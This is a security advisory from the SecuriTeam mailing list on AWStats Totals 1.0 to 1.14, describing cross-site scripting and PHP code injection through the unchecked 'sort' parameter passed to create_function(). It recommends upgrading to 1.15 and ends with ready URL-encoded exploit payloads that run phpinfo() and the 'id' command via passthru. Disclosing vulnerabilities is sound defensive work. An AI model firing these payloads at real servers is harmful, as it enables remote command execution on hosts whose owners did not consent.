[UNIX] Multiple Vulnerabilities in AWStats Totals

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Multiple Vulnerabilities in AWStats Totals
------------------------------------------------------------------------


SUMMARY

 <http://www.telartis.nl/xcms/awstats/> AWStats Totals is "a simple php 
script to view the AWStats totals (Unique visitors, Number of visits, 
Pages, Hits and Bandwidth) of multiple sites. The page has a month 
selection input form and you can sort on each column. It also includes a 
php wrapper script". Multiple vulnerabilities in AWStats Totals allow 
remote attackers to cause the program to execute arbitrary commands.

DETAILS

Vulnerable Systems:
 * AWStats Totals versions 1.0 up to 1.14

Immune Systems:
 * AWStats Totals version 1.15

Impact:
A remote attacker could exploit these vulnerabilities to run arbitrary 
commands on the web server's host operating system.

AWStats Totals takes three URL parameters, "month," "year," and "sort," 
and uses them without checking them for validity.

The program uses the month and year parameters in output it displays to 
the user. It will display any HTML or Javascript code included in these 
parameters, which the user's browser will then render.

The program uses the sort parameter to build an anonymous PHP function 
with the create_function() function.

 function multisort(&$array, $key) {
    $cmp = create_function('$a, $b',
        'if ($a["'.$key.'"] == $b["'.$key.'"]) return 0;'.
        'return ($a["'.$key.'"] > $b["'.$key.'"]) ? -1 : 1;');
    usort($array, $cmp);
 }
 
 if ($sort == 'config') sort($rows); else multisort($rows, $sort);

Taking care to match properly the quotes and angle brackets, it is 
possible to insert PHP expressions into the code for the function. For 
example, to run the phpinfo() function, one might set sort to this value:
"].phpinfo().$a["

Since any code one injects gets run multiple times, however, it may be 
useful to exit the program after a single invocation:
"].phpinfo().exit().$a["

It is also possible to insert PHP expressions through the use of variable 
expansion within strings on newer versions of PHP:
{${phpinfo()}}{${exit()}}

Solution:
Upgrade to AWStats Totals 1.15 available form:
 <http://www.telartis.nl/xcms/awstats/> 
http://www.telartis.nl/xcms/awstats/

Exploit:
The following examples require that magic quotes be disabled, but will 
work on all versions of PHP.

This example will display phpinfo().
http://host.tld/some/path/awstatstotals.php?sort=%22%5d%2ephpinfo%28%29%2eexit%28%29%2e%24a%5b%22

This example will run the "id" command on the target system.
http://host.tld/some/path/awstatstotals.php?sort=%22%5d%2epassthru%28%27id%27%29%2eexit%28%29%2e%24a%5b%22

The following examples require a version of PHP which parses function 
calls inside strings (5+, some versions of 4?), but will work if magic 
quotes are enabled.

This example will display phpinfo().
http://host.tld/some/path/awstatstotals.php?sort=%7b%24%7bphpinfo%28%29%7d%7d%7b%24%7bexit%28%29%7d%7d

This example will run the "id" command on the target system.
http://host.tld/some/path/awstatstotals.php?sort=%7b%24%7bpassthru%28 
chr(105)%2echr(100)%29%7d%7d%7b%24%7bexit%28%29%7d%7d


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> 
Elliot Kendall.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] 
In order to subscribe to the mailing list, simply forward this email to: [email protected] 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any kind. 
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.